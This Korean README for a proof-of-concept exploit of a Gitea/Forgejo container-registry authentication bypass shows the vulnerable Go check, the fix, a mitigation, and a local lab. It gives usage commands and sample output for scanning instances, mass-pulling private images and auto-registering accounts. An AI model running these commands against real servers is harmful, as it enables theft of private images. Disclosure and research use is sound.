
CVE-2026-27771 - Gitea/Forgejo 컨테이너 레지스트리 인증 우회 익스플로잇 PoC - 인증 없이 비공개 컨테이너 이미지 가져오기
CVSS: N/A (미공개)
영향: Gitea < 1.26.2 (OCI 컨테이너 레지스트리가 있는 모든 버전)
추가 영향: Forgejo (NoScope가 확인)
발견자: NoScope
수정 버전: Gitea v1.26.2 (2026년 5월 20일)
고지: 이 개념 증명(PoC)은 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 코드의 오용에 대해 책임지지 않습니다. 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에서만 테스트하십시오.
인증되지 않은 원격 공격자가 Gitea 인스턴스에서 비공개 컨테이너 이미지를 가져올 수 있습니다. OCI Distribution Spec API 엔드포인트(/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>)는 컨테이너 패키지 소유자의 공개 범위(비공개/제한적/공개)를 확인하지 않고 고스트/익명 사용자(UserID: -1)에게 콘텐츠를 제공합니다.
NoScope는 30개 이상의 국가에서 약 31,750개 이상의 인터넷 노출 인스턴스를 식별했습니다. 이 결함은 약 4년 동안 탐지되지 않았습니다.
취약점은 ReqContainerAccess 미들웨어(routers/api/packages/container/container.go)에 있습니다:
// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
이 코드는 다음만 확인합니다:
ctx.Doer가 nil인가? (토큰이 전혀 없는 인증되지 않은 요청)RequireSignInViewStrict가 활성화되어 있고 사용자가 고스트인가?패키지 소유자의 공개 범위 설정(VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate)은 확인하지 않습니다. 빈 스코프를 가진 고스트 사용자(UserID: -1)는 그대로 통과하여 모든 컨테이너 패키지에 접근할 수 있습니다.
/v2/token 엔드포인트(Authenticate 함수)는 RequireSignInViewStrict가 false일 때 자격 증명 없이 익명 토큰을 발급합니다.
1.26.2 버전에 두 가지 수정 사항이 포함되었습니다:
PR #37290 — apiUnauthorizedError의 조건부 Basic realm 헤더 — Docker 클라이언트의 혼동을 방지하기 위해 공개 인스턴스에서 Basic realm 전송을 중단하고, 인증 챌린지에서 소유자별 공개 범위 확인을 추가합니다.
PR #37610 — 패키지 공개 범위 레이블 + Composer 소스 권한 확인 — 패키지에 대한 기본 권한 모델을 추가합니다. 이러한 레이블이 없으면 권한 확인 경로에서 비공개/내부/공개 패키지를 구분할 방법이 없습니다.
[service]
REQUIRE_SIGNIN_VIEW = true
이 설정은 (공개 저장소를 포함한) 모든 익명 액세스를 차단하여 익스플로잇 경로를 막습니다. 그러나 기본 권한 모델은 여전히 손상되어 있어 인증된 사용자는 여전히 모든 패키지에 접근할 수 있습니다. 실제 수정을 위해서는 1.26.2 이상으로 업그레이드하세요.
python3 CVE-2026-27771-exploit.py scan <url> # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url> # Pull all images
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image # Pull specific repo
python3 CVE-2026-27771-exploit.py pull <url> --dry-run # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]
# Scan a vulnerable instance
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# Pull all private container images (anonymous)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# Auto-register on instances without captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email [email protected]
/v2/ 엔드포인트를 확인하고 회원가입 가능 여부를 감지한 뒤 익명 토큰을 얻거나 PAT를 JWT로 교환합니다./v2/_catalog를 통해 모든 컨테이너 저장소를 나열합니다 (손상된 공개 범위로 인해 공개 및 비공개 모든 저장소가 반환됩니다).pulled_<repo>/extracted/에 압축 해제합니다.REQUIRE_SIGNIN_VIEW=false이면 자격 증명 없이 고스트 토큰을 받습니다.--token이 40자리 16진수 문자열이면 Basic auth를 통해 이를 자동으로 OCI JWT로 교환합니다.--token에 점이 포함되어 있으면 Bearer 토큰으로 직접 사용합니다.[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
└─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
# 1. Deploy Gitea 1.25.x with Docker (vulnerable version)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. Create a user and push a private Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. Run the exploit (no credentials)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# The exploit will find testuser/secret-app and download all layers.
# Files will be in pulled_testuser_secret-app/extracted/
# Upgrade to patched version
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# Anonymous token should be denied (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Expected: "Version >= 1.26.2 (patched)"